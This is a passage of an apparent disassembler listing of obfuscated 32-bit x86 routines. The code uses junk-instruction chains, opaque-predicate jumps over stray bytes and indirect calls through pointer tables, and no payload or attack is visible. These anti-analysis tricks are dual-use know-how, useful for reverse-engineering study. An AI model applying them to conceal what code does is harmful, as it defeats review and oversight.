		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		pop	edx
		test	eax, eax
		jnz	loc_497F5D
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		pop	ecx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_497F1C
		jl	short loc_497F1A


loc_497F15:				; CODE XREF: sub_497E12:loc_497F1Aj
					; sub_497E12:loc_497F1Cj
		jmp	short loc_497F1E
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_497F1A:				; CODE XREF: sub_497E12+101j
		jz	short loc_497F15


loc_497F1C:				; CODE XREF: sub_497E12+FFj
		jmp	short loc_497F15
; ---------------------------------------------------------------------------


loc_497F1E:				; CODE XREF: sub_497E12:loc_497F15j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 7
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_497F5D
		and	eax, 0
		inc	eax
		jmp	short loc_497F60
; ---------------------------------------------------------------------------


loc_497F5D:				; CODE XREF: sub_497E12+69j
					; sub_497E12+143j
		and	eax, 0


loc_497F60:				; CODE XREF: sub_497E12+149j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_497F83
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_497F83:				; CODE XREF: sub_497E12+166j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_497E12	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_497F97	proc near		; DATA XREF: sub_4965D8+15CBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	100h
		pop	ebx
		dec	bh
		jo	short loc_497FCD
		jl	short loc_497FCB


loc_497FC8:				; CODE XREF: sub_497F97:loc_497FCBj
					; sub_497F97:loc_497FCDj
		jmp	short loc_497FCF
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_497FCB:				; CODE XREF: sub_497F97+2Fj
		jz	short loc_497FC8


loc_497FCD:				; CODE XREF: sub_497F97+2Dj
		jmp	short loc_497FC8
; ---------------------------------------------------------------------------


loc_497FCF:				; CODE XREF: sub_497F97:loc_497FC8j
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		inc	bh
		inc	bh
		inc	bh
		inc	bh
		and	ah, bh
		jo	short loc_497FEE
		jl	short loc_497FEC


loc_497FE9:				; CODE XREF: sub_497F97:loc_497FECj
					; sub_497F97:loc_497FEEj
		jmp	short loc_497FF0
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_497FEC:				; CODE XREF: sub_497F97+50j
		jz	short loc_497FE9


loc_497FEE:				; CODE XREF: sub_497F97+4Ej
		jmp	short loc_497FE9
; ---------------------------------------------------------------------------


loc_497FF0:				; CODE XREF: sub_497F97:loc_497FE9j
		mov	bl, 15h
		dec	bl
		sub	bl, 6
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49801C
		not	eax
		add	eax, 1
		stc
		jmp	short loc_498022
; ---------------------------------------------------------------------------


loc_49801C:				; CODE XREF: sub_497F97+7Bj
		not	eax
		add	eax, 1
		clc


loc_498022:				; CODE XREF: sub_497F97+83j
		sbb	eax, eax
		neg	eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3B4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49804B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49804B:				; CODE XREF: sub_497F97+A9j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_497F97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49805F	proc near		; DATA XREF: sub_4965D8+27Do

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		sub	ch, 2
		sub	ch, 20h
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jz	short loc_4980A3
		dec	edi
		and	eax, 0
		jmp	short loc_4980AA
; ---------------------------------------------------------------------------


loc_4980A3:				; CODE XREF: sub_49805F+3Cj
		dec	edi
		and	eax, 0
		dec	edi
		dec	edi
		inc	eax


loc_4980AA:				; CODE XREF: sub_49805F+42j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3E8
		xor	eax, dword_4ED3EC
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4980CC
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4980CC:				; CODE XREF: sub_49805F+62j
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49805F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4980E0	proc near		; DATA XREF: sub_4965D8+A04o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_498113
		jl	short loc_498111


loc_49810C:				; CODE XREF: sub_4980E0:loc_498111j
					; sub_4980E0:loc_498113j
		jmp	short loc_498115
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_498111:				; CODE XREF: sub_4980E0+2Aj
		jz	short loc_49810C


loc_498113:				; CODE XREF: sub_4980E0+28j
		jmp	short loc_49810C
; ---------------------------------------------------------------------------


loc_498115:				; CODE XREF: sub_4980E0:loc_49810Cj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_498128
		jl	short loc_498126


loc_498123:				; CODE XREF: sub_4980E0:loc_498126j
					; sub_4980E0:loc_498128j
		jmp	short loc_49812A
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_498126:				; CODE XREF: sub_4980E0+41j
		jz	short loc_498123


loc_498128:				; CODE XREF: sub_4980E0+3Fj
		jmp	short loc_498123
; ---------------------------------------------------------------------------


loc_49812A:				; CODE XREF: sub_4980E0:loc_498123j
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498176
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498176:				; CODE XREF: sub_4980E0+8Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4980E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49818A	proc near		; DATA XREF: sub_4965D8+D8Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		dec	edi
		inc	esi
		dec	bh
		jz	short $+2
		dec	bh
		dec	bh
		dec	edi
		inc	esi
		dec	bh
		and	eax, 800h
		bswap	ecx
		jo	short $+2
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	edi
		inc	esi
		dec	bl
		dec	bl
		dec	edi
		inc	esi
		dec	bl
		dec	bl
		dec	edi
		inc	esi
		sub	bl, 1Ah
		dec	bl
		dec	edi
		inc	esi
		sub	bl, 1Fh
		not	bx
		dec	edi
		inc	esi
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		and	eax, 0
		inc	eax
		dec	edi
		inc	esi
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498226
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498226:				; CODE XREF: sub_49818A+91j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49818A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49823A	proc near		; DATA XREF: sub_4965D8+1F5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_498263
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_498263:				; CODE XREF: sub_49823A+22j
		mov	ebx, 32h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F8
		xor	ecx, dword_4ED3FC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4982AC
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4982AC:				; CODE XREF: sub_49823A+67j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49823A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4982C0	proc near		; DATA XREF: sub_4965D8+6BDo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 80h
		xchg	eax, ecx
		mov	ecx, 1
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		push	edx
		mov	dh, 18h
		dec	dh
		dec	dh
		not	ecx
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		dec	dh
		dec	dh
		dec	edi
		sub	dh, 3
		dec	dh
		dec	edi
		dec	dh
		sub	dh, 0Bh
		dec	edi
		bswap	eax
		jo	short loc_498325
		jl	short loc_498323


loc_498320:				; CODE XREF: sub_4982C0:loc_498323j
					; sub_4982C0:loc_498325j
		jmp	short loc_498327
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_498323:				; CODE XREF: sub_4982C0+5Ej
		jz	short loc_498320


loc_498325:				; CODE XREF: sub_4982C0+5Cj
		jmp	short loc_498320
; ---------------------------------------------------------------------------


loc_498327:				; CODE XREF: sub_4982C0:loc_498320j
		and	ah, dh
		mov	dl, 9
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		not	ecx
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		add	dl, 5
		sub	dl, 3
		dec	dl
		jo	short loc_498350
		jl	short loc_49834E


loc_49834B:				; CODE XREF: sub_4982C0:loc_49834Ej
					; sub_4982C0:loc_498350j
		jmp	short loc_498352
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49834E:				; CODE XREF: sub_4982C0+89j
		jz	short loc_49834B


loc_498350:				; CODE XREF: sub_4982C0+87j
		jmp	short loc_49834B
; ---------------------------------------------------------------------------


loc_498352:				; CODE XREF: sub_4982C0:loc_49834Bj
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_498380
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_498380:				; CODE XREF: sub_4982C0+B5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4982C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498394	proc near		; DATA XREF: sub_4965D8+4CBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 800h
		jmp	short loc_4983C0
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_4983C0:				; CODE XREF: sub_498394+25j
		mov	ebx, 70h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 4
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49840F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49840F:				; CODE XREF: sub_498394+70j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498394	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498423	proc near		; DATA XREF: sub_4965D8+E2Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_49844C
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_49844C:				; CODE XREF: sub_498423+22j
		mov	ebx, 6Eh
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 5
		add	ebx, ecx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0D00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		sub	dh, 0FFh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_4984A3
		jl	short loc_4984A1


loc_49849E:				; CODE XREF: sub_498423:loc_4984A1j
					; sub_498423:loc_4984A3j
		jmp	short loc_4984A5
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4984A1:				; CODE XREF: sub_498423+79j
		jz	short loc_49849E


loc_4984A3:				; CODE XREF: sub_498423+77j
		jmp	short loc_49849E
; ---------------------------------------------------------------------------


loc_4984A5:				; CODE XREF: sub_498423:loc_49849Ej
		cmp	eax, edx
		jo	short loc_4984B0
		jl	short loc_4984AE


loc_4984AB:				; CODE XREF: sub_498423:loc_4984AEj
					; sub_498423:loc_4984B0j
		jmp	short loc_4984B2
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4984AE:				; CODE XREF: sub_498423+86j
		jz	short loc_4984AB


loc_4984B0:				; CODE XREF: sub_498423+84j
		jmp	short loc_4984AB
; ---------------------------------------------------------------------------


loc_4984B2:				; CODE XREF: sub_498423:loc_4984ABj
		jnz	short loc_4984C4
		jo	short loc_4984BD
		jl	short loc_4984BB


loc_4984B8:				; CODE XREF: sub_498423:loc_4984BBj
					; sub_498423:loc_4984BDj
		jmp	short loc_4984BF
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4984BB:				; CODE XREF: sub_498423+93j
		jz	short loc_4984B8


loc_4984BD:				; CODE XREF: sub_498423+91j
		jmp	short loc_4984B8
; ---------------------------------------------------------------------------


loc_4984BF:				; CODE XREF: sub_498423:loc_4984B8j
		and	eax, 0
		jmp	short loc_4984D3
; ---------------------------------------------------------------------------


loc_4984C4:				; CODE XREF: sub_498423:loc_4984B2j
		and	eax, 0
		jo	short loc_4984D0
		jl	short loc_4984CE


loc_4984CB:				; CODE XREF: sub_498423:loc_4984CEj
					; sub_498423:loc_4984D0j
		jmp	short loc_4984D2
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4984CE:				; CODE XREF: sub_498423+A6j
		jz	short loc_4984CB


loc_4984D0:				; CODE XREF: sub_498423+A4j
		jmp	short loc_4984CB
; ---------------------------------------------------------------------------


loc_4984D2:				; CODE XREF: sub_498423:loc_4984CBj
		inc	eax


loc_4984D3:				; CODE XREF: sub_498423+9Fj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4984F6
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4984F6:				; CODE XREF: sub_498423+C8j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_498423	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49850A	proc near		; DATA XREF: sub_4965D8+C0Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 80h
		xchg	eax, ecx
		mov	ecx, 1
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		push	edx
		mov	dh, 12h
		dec	dh
		dec	dh
		not	ecx
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		dec	dh
		dec	dh
		sub	dh, 5
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		and	ah, dh
		mov	dl, 9
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		not	ecx
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		add	dl, 1
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4985B4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4985B4:				; CODE XREF: sub_49850A+9Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49850A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4985C8	proc near		; DATA XREF: sub_4965D8+487o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Fh
		dec	ch
		dec	ch
		dec	ch
		sub	ch, 1
		sub	ch, 15h
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 13h
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 41h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 22h
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4986A8
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4986A8:				; CODE XREF: sub_4985C8+D5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4985C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4986BC	proc near		; DATA XREF: sub_4965D8+1559o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_498724
		jl	short loc_498722


loc_49871F:				; CODE XREF: sub_4986BC:loc_498722j
					; sub_4986BC:loc_498724j
		jmp	short loc_498726
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_498722:				; CODE XREF: sub_4986BC+61j
		jz	short loc_49871F


loc_498724:				; CODE XREF: sub_4986BC+5Fj
		jmp	short loc_49871F
; ---------------------------------------------------------------------------


loc_498726:				; CODE XREF: sub_4986BC:loc_49871Fj
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED41C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49877E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49877E:				; CODE XREF: sub_4986BC+B7j
